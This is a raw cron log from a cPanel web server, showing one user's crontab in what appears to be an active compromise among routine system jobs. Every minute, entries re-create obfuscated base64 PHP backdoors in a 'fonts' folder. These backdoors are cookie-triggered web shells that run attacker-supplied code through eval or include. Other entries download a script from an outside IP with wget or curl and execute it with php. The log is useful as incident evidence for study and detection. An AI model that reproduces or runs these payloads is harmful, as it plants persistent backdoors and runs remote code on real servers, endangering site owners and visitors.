Sep  2 05:09:01 ip-184-168-122-23 CROND[17537]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  2 05:09:01 ip-184-168-122-23 CROND[17539]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 05:09:01 ip-184-168-122-23 CROND[17542]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Sep  2 05:09:01 ip-184-168-122-23 CROND[17540]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  2 05:09:01 ip-184-168-122-23 CROND[17543]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 05:10:01 ip-184-168-122-23 CROND[17643]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 05:10:01 ip-184-168-122-23 CROND[17654]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  2 05:10:01 ip-184-168-122-23 CROND[17650]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  2 05:10:01 ip-184-168-122-23 CROND[17651]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  2 05:10:01 ip-184-168-122-23 CROND[17655]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 05:10:01 ip-184-168-122-23 CROND[17652]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  2 05:10:01 ip-184-168-122-23 CROND[17649]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  2 05:10:01 ip-184-168-122-23 CROND[17656]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  2 05:11:01 ip-184-168-122-23 CROND[17746]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  2 05:11:01 ip-184-168-122-23 CROND[17747]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 05:11:01 ip-184-168-122-23 CROND[17749]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  2 05:11:01 ip-184-168-122-23 CROND[17751]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 05:12:01 ip-184-168-122-23 CROND[17941]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  2 05:12:01 ip-184-168-122-23 CROND[17943]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 05:12:01 ip-184-168-122-23 CROND[17944]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  2 05:12:01 ip-184-168-122-23 CROND[17945]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 05:12:01 ip-184-168-122-23 CROND[17946]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  2 05:13:01 ip-184-168-122-23 CROND[18068]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  2 05:13:01 ip-184-168-122-23 CROND[18071]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 05:13:01 ip-184-168-122-23 CROND[18070]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  2 05:13:01 ip-184-168-122-23 CROND[18072]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 05:14:01 ip-184-168-122-23 CROND[18198]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  2 05:14:01 ip-184-168-122-23 CROND[18200]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 05:14:01 ip-184-168-122-23 CROND[18202]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  2 05:14:01 ip-184-168-122-23 CROND[18201]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  2 05:14:01 ip-184-168-122-23 CROND[18203]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 05:15:01 ip-184-168-122-23 CROND[18299]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  2 05:15:01 ip-184-168-122-23 CROND[18301]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 05:15:01 ip-184-168-122-23 CROND[18304]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  2 05:15:01 ip-184-168-122-23 CROND[18302]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  2 05:15:01 ip-184-168-122-23 CROND[18305]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 05:15:01 ip-184-168-122-23 CROND[18303]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  2 05:16:01 ip-184-168-122-23 CROND[18452]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 05:16:01 ip-184-168-122-23 CROND[18454]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  2 05:16:01 ip-184-168-122-23 CROND[18457]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  2 05:16:01 ip-184-168-122-23 CROND[18455]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 05:16:01 ip-184-168-122-23 CROND[18458]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  2 05:16:01 ip-184-168-122-23 CROND[18459]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  2 05:17:01 ip-184-168-122-23 CROND[18604]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  2 05:17:01 ip-184-168-122-23 CROND[18606]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  2 05:17:01 ip-184-168-122-23 CROND[18607]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 05:17:01 ip-184-168-122-23 CROND[18605]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 05:18:01 ip-184-168-122-23 CROND[18702]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  2 05:18:01 ip-184-168-122-23 CROND[18704]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 05:18:01 ip-184-168-122-23 CROND[18705]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 05:18:01 ip-184-168-122-23 CROND[18707]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  2 05:18:01 ip-184-168-122-23 CROND[18706]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  2 05:19:01 ip-184-168-122-23 CROND[18804]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  2 05:19:01 ip-184-168-122-23 CROND[18807]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  2 05:19:01 ip-184-168-122-23 CROND[18805]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 05:19:01 ip-184-168-122-23 CROND[18808]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 05:20:02 ip-184-168-122-23 CROND[18919]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 05:20:02 ip-184-168-122-23 CROND[18923]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  2 05:20:02 ip-184-168-122-23 CROND[18920]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  2 05:20:02 ip-184-168-122-23 CROND[18924]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  2 05:20:02 ip-184-168-122-23 CROND[18921]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 05:20:02 ip-184-168-122-23 CROND[18922]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  2 05:20:02 ip-184-168-122-23 CROND[18918]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  2 05:20:02 ip-184-168-122-23 CROND[18925]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  2 05:20:02 ip-184-168-122-23 CROND[18926]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
